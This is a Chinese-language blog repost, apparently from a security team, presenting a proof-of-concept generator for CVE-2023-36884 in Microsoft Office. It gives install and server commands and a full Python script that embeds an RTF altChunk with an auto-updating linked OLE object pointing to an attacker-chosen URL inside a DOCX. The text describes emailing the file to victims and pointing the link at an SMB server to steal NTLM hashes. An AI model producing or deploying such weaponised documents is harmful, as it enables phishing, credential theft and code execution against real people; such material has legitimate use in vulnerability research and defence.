首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2023-36884:带有精心设计的文档的 MS Office HTML RCE

CVE-2023-36884:带有精心设计的文档的 MS Office HTML RCE

作者头像
Khan安全团队
发布于 2024-01-08 03:04:15
发布于 2024-01-08 03:04:15
48900
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

该漏洞允许攻击者通过精心制作的 Office 开放可扩展标记语言 (OOXML) 文档来利用 Windows 搜索文件。

安装 PIP 包:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pip install python-docx pywin32         

创建 example.html 文件并启动 Python HTTP Web 服务器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
New-Item -Path "example.html" - ItemType File
python -m http.server 8888

然后,运行脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python gen_docx_with_rtf_altchunk.py merged.docx autolinked.rtf http://localhost:8888/example.html

现在,生成的文件可以通过电子邮件或其他方式与受害者共享。该链接可以指向您的 SMB 服务器以窃取受害者的 NTLM 哈希值,也可以指向包含 iframe 的 HTML 文件,该 iframe 引用了 Windows 搜索文件,就像原始恶意软件中一样。由于缺乏进一步的信息,无法显示确切的利用情况。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# pip install python-docx pywin32
import sys
import os
from docx import Document
from docx.oxml.parser import OxmlElement
from docx.oxml.ns import qn
from docx.opc.part import Part
from docx.opc.constants import RELATIONSHIP_TYPE as RT
import win32com.client as win32


# Get or create a DOCX document
def get_doc(docx_file_path):
    if not os.path.isfile(docx_file_path):
        doc = Document()
        doc.save(docx_file_path)
        print(f"[+] Created a new DOCX document with name '{docx_file_path}'.")
    else:
        doc = Document(docx_file_path)
        print(f"[+] Using an existing DOCX document with name '{docx_file_path}'.")
    return doc

# Check if the RTF file exists, and create it if it doesn't
def check_rtf_exists(rtf_file_path):
    if not os.path.isfile(rtf_file_path):
        gen_new_rtf(rtf_file_path)
        print(f"[+] Created a new RTF document with name '{rtf_file_path}'.")
    else:
        print(f"[+] Using an existing RTF document with name '{rtf_file_path}'.")

# Generate a new RTF file with default content
def gen_new_rtf(rtf_file_path):
    try:
        with open(rtf_file_path, 'w') as file:
            rtf_example_code = "{\\rtf1\\ansi\\deff0}"
            file.write(rtf_example_code)
    except Exception as e:
        print(f"[-] Cannot create the RTF file. Error: {str(e)}")
        sys.exit(1)

# Update the RTF file by adding '\objupdate' after '\objautolink'
def update_rtf_with_objupdate(file_path):
    try:
        with open(file_path, 'r') as file:
            # Read the content of the file
            file_content = file.read()

        # Replace "\objautolink" with "\objautolink\objupdate"
        updated_content = file_content.replace(r'\objautlink', r'\objautlink\objupdate')

        with open(file_path, 'w') as file:
            # Write the updated content back to the file
            file.write(updated_content)

        print(f"[+] '\objupdate' added after '\objautolink' in '{file_path}'.")

    except Exception as e:
        print(f"[-] An error occurred: {str(e)}")

# Add an RTF file as an altChunk to a DOCX document
def add_rtf_as_alt_chunk_to_doc(doc, rtf_path):
    try:
        package = doc.part.package
        partname = package.next_partname('/word/altChunk%d.rtf')

        # Read the RTF content from the file
        with open(rtf_path, 'rb') as rtf_file:
            rtf_content = rtf_file.read()

        alt_part = Part(partname, 'application/rtf', rtf_content, package)
        r_id = doc.part.relate_to(alt_part, RT.A_F_CHUNK)

        alt_chunk = OxmlElement('w:altChunk')
        alt_chunk.set(qn('r:id'), r_id)
        doc.element.body.sectPr.addprevious(alt_chunk)

        print("[+] RTF file added as altChunk.")

        # Save the modified document
        doc.save(docx_file_path)

        update_rtf_with_objupdate(rtf_path)

    except Exception as e:
        print(f"[-] Can not add the RTF file as altChunk to the DOC. Error: {str(e)}")
        sys.exit(1)

# Add a linked OLE object with a URL to the RTF file
def add_linked_ole_object_with_url(rtf_path, url):
    try:
        word = win32.Dispatch("Word.Application")
        doc = word.Documents.Open(os.path.abspath(rtf_path))
        doc.Activate()

        # Insert the linked OLE object with an external URL
        ole_shape = doc.Shapes.AddOLEObject(
            ClassType="Package",
            FileName=url,        # Use the URL as the FileName
            LinkToFile=True,     # Create a linked object
            DisplayAsIcon=True,
            Left=100, Top=100, Width=100, Height=100
        )

        # Save the document
        doc.Save()

        # Close the document and Word application
        doc.Close()
        word.Quit()

        print(f"[+] Linked OLE object with URL added to '{rtf_path}'.")

    except Exception as e:
        print(f"[-] Cannot add a linked OLE object to the RTF file. Error: {str(e)}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python generate_rtf_with_autolink.py <doc_file> <rtf_file> <ole_objects_url>")
        sys.exit(1)

    # Get arguments
    docx_file_path = sys.argv[1]
    rtf_file_path = sys.argv[2]
    url = sys.argv[3]

    # Check if the DOCX file exists, if not, create one
    doc = get_doc(docx_file_path)

    # Check if the RTF file exists, if not, create one
    check_rtf_exists(rtf_file_path)

    # Add a linked OLE object to RTF with an external URL
    add_linked_ole_object_with_url(rtf_file_path, url)

    # Add the RTF file to the DOCX as an altChunk
    add_rtf_as_alt_chunk_to_doc(doc, rtf_file_path)

    print(f"[+] RTF file '{rtf_file_path}' added as altChunk to '{docx_file_path}'.")
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-01-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
python实现文档智能化合并功能
日常办公当中,我们总是需要合并来自不同部门汇集的多个文档,亦或是回收调研问卷,这些文档结构相似但内容各异。每个文件都包含一堆问题和答案,我们得想办法把它们整合成一个统一的知识库。说实话,一开始我还挺头疼的。
熊猫钓鱼
2025/07/08
1530
python实现文档智能化合并功能
监控github项目最新releases
闲着无聊,自己又在自学习python。之前分享过搭建的hugo的过程,因为国内连接github速度有点慢,所以当时就把最新的releases下载了,并上传到coding当作备份,当时写的是每周去下载一次,但是自己太懒不想动,于是。。。更新了好几个版本自己也没动,于是就想着用python帮忙了。
布衣者
2021/09/07
8050
AI办公自动化:用通义千问Qwen-Long批量总结PDF长文档内容
Qwen-Long是在通义千问针对超长上下文处理场景的大语言模型,支持中文、英文等不同语言输入,支持最长1000万tokens(约1500万字或1.5万页文档)的超长上下文对话。配合同步上线的文档服务,可支持word、pdf、markdown、epub、mobi等多种文档格式的解析和对话。借助Qwen-Long可以批量总结长文档。
AIGC部落
2024/06/24
1.3K0
AI办公自动化:用通义千问Qwen-Long批量总结PDF长文档内容
零代码编程:用ChatGPT将SRT字幕文件批量转为Word文本文档
现在想将其批量转为word文档,去掉里面与字符无关的时间轴,在ChatGPT中输入提示词:
AIGC部落
2024/06/24
3370
零代码编程:用ChatGPT将SRT字幕文件批量转为Word文本文档
PDF转Word完全免费?这么好的事情我怎么不知道????
现在网络上大部分的PDF转Word都是收费的,基本都是按页收费,有了我们的python代码后,我们就可以完全免费的将PDF转成Word了,这么好的福利我们赶紧来了解一下吧!
我被狗咬了
2019/09/23
9220
PDF转Word完全免费?这么好的事情我怎么不知道????
Python:一个生成Word文档的实用示例
随着大数据和自动化在各个行业的应用越来越广泛,如何快速地生成和编辑Word文档已经成为许多开发者和数据分析师关注的问题。在Python生态系统中,有多个库可以用来处理Word文档,其中最为人熟知的就是python-docx库。在这篇文章中,我们将通过一个实用示例来介绍如何使用Python生成Word文档。
运维开发王义杰
2023/09/25
1.6K0
Python:一个生成Word文档的实用示例
Python网络爬虫笔记(三):下载博客园随笔到Word文档
(一)   说明 在上一篇的基础上修改了下,使用lxml提取博客园随笔正文内容,并保存到Word文档中。 操作Word文档会用到下面的模块: pip install python-docx 修改的代码(主要是在link_crawler()的while循环中增加了下面这段) 1 tree = lxml.html.fromstring(html) #解析HTML为统一的格式 2 title = tree.xpath('//a[@id="cb_post_title_url"]'
free赖权华
2018/04/27
1.6K0
Python网络爬虫笔记(三):下载博客园随笔到Word文档
腾讯云AI代码助手 | 满血DeepSeek实现一个Excel转Word工具
最近,腾讯云开发者社区推出了@你的 AI 编码搭子,满血开发拿鹅厂周边~的活动,只需要在 DeepSeek R1 满血版的腾讯云AI代码助手之后,在B站/小红书/腾讯云开发者社区 /CSDN/今日头条等任何技术社区分享发布 tencent-deepseekR1 模型使用体验,就可以参与 100% 获得鹅厂周边的抽奖活动,每日再评选 3位 优质反馈用户加赠腾讯定制周边露营桌。
叫我阿柒啊
2025/03/04
4112
腾讯云AI代码助手 | 满血DeepSeek实现一个Excel转Word工具
基于GPT搭建私有知识库聊天机器人(三)向量数据训练
在前面的文章中,我们介绍了实现原理和基本环境安装。本文将重点介绍数据训练的流程,以及如何加载、切割、训练数据,并使用向量数据库Milvus进行数据存储。
夕阳也是醉了
2023/10/16
9570
基于GPT搭建私有知识库聊天机器人(三)向量数据训练
60行Python代码,实现多线程PDF转Word
工作中经常会遇到需要提取PDF文件中文字的情况,一个PDF还好,复制粘贴一下也花不了太多时间,如果需要把大量PDF转为Word,怎么办呢?
simpleapples
2018/10/18
1.1K0
60行Python代码,实现多线程PDF转Word
最全总结 | 聊聊 Python 办公自动化之 Word(下)
这个功能,由章节对象中的属性 different_first_page_header_footer 来控制
AirPython
2020/11/19
2.9K0
AI办公自动化:批量根据Excel表格内容制作Word文档
读取Excel文件:"F:\AI自媒体内容\AI视频教程下载\udemy课程信息-部分-翻译版.xlsx";
AIGC部落
2024/06/24
4160
AI办公自动化:批量根据Excel表格内容制作Word文档
CVE-2023-38831:WinRAR远程代码执行漏洞
WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR 在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。
Timeline Sec
2023/09/26
8680
CVE-2023-38831:WinRAR远程代码执行漏洞
Python办公自动化:"破解WPS会员"之文档拆分合并
看到标题是不是有点惊讶,博主怎么走上了很刑的路线?看完此篇文章,教你自己做一个无限使用永久免费的文档拆分合并小工具
小宇-xiaoyu
2025/01/14
2710
Python办公自动化:"破解WPS会员"之文档拆分合并
Py自动化办公—Word文档替换、Excel表格读取、Pdf文件生成和Email自动邮件发送实战案例
前几天在学习【麦叔】的《Python办公效率手册》一书,受益匪浅,原来Python自动化办公这么有趣,目前学完了前面四章,将四章内容串起来,整理成一篇小文章,分享给大家。当然了,这里的展示只是冰山一角,更多精彩内容还是要到原文中去汲取。
Python进阶者
2021/12/15
2.2K0
Py自动化办公—Word文档替换、Excel表格读取、Pdf文件生成和Email自动邮件发送实战案例
使用poython将文本转换成doc文档
# -*- coding: utf-8 -*- from docx import Document import os import shutil import traceback def parseFile(file): content = '' file_name = file.split(".")[1] with open(file,encoding='utf-8') as file_obj: content = file_obj.read() pr
JQ实验室
2022/04/29
6650
xapian 搜索引擎介绍与使用入门
Xapian 是一个开源搜索引擎库,使用 C++ 编写,并提供绑定(bindings )以允许从多种编程语言使用。它是一个高度适应性的工具包,允许开发人员轻松地将高级索引和搜索功能添加到自己的应用程序中。Xapian 支持多种加权模型和丰富的布尔查询运算符。最新稳定版本是 1.4.24,发布于 2023 年 11 月 6 日。
JadePeng
2024/01/19
5880
如何做好一份技术文档?从规划到实践的完整指南
作为一名从事软件开发十余年的技术人员,我深深体会到优秀技术文档的价值和重要性。在我的职业生涯中,我见过太多因为文档缺失或质量不佳而导致的项目延期、知识断层、团队协作困难等问题。同时,我也亲身体验过一份结构清晰、内容详实的技术文档如何能够显著提升团队效率,降低沟通成本,甚至成为产品成功的关键因素。技术文档不仅仅是代码的说明书,更是知识传承的载体、团队协作的桥梁、用户体验的重要组成部分。在这篇文章中,我将基于多年的实践经验,从技术文档的规划设计、内容组织、编写技巧、工具选择等多个维度,系统性地分享如何创建一份高质量的技术文档。我会详细探讨技术文档的核心要素,包括清晰的结构设计、准确的技术描述、实用的代码示例、直观的图表展示等,并结合具体的工具和最佳实践,帮助读者掌握技术文档编写的精髓。无论你是刚入行的新手开发者,还是经验丰富的技术专家,相信这篇文章都能为你在技术文档创作方面提供有价值的指导和启发。让我们一起探讨如何让技术文档成为技术传播路上的明灯,为整个技术社区的发展贡献力量。
摘星.
2025/06/10
1400
如何做好一份技术文档?从规划到实践的完整指南
盘点一个Python自动化办公Word转化PDF/PDF转化Word问题
前几天在Python最强王者交流群【钟爱一生】问了一个Python自动化办公的问题。问题如下:
Python进阶者
2024/01/30
3000
盘点一个Python自动化办公Word转化PDF/PDF转化Word问题
AI办公自动化:批量在多个Word文档中插入对应图片
工作任务:文件夹中有多个word文档和word文档名称一致的图片,要把这些图片都插入到word文档中
AIGC部落
2024/06/24
4610
AI办公自动化:批量在多个Word文档中插入对应图片
推荐阅读
相关推荐
python实现文档智能化合并功能
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验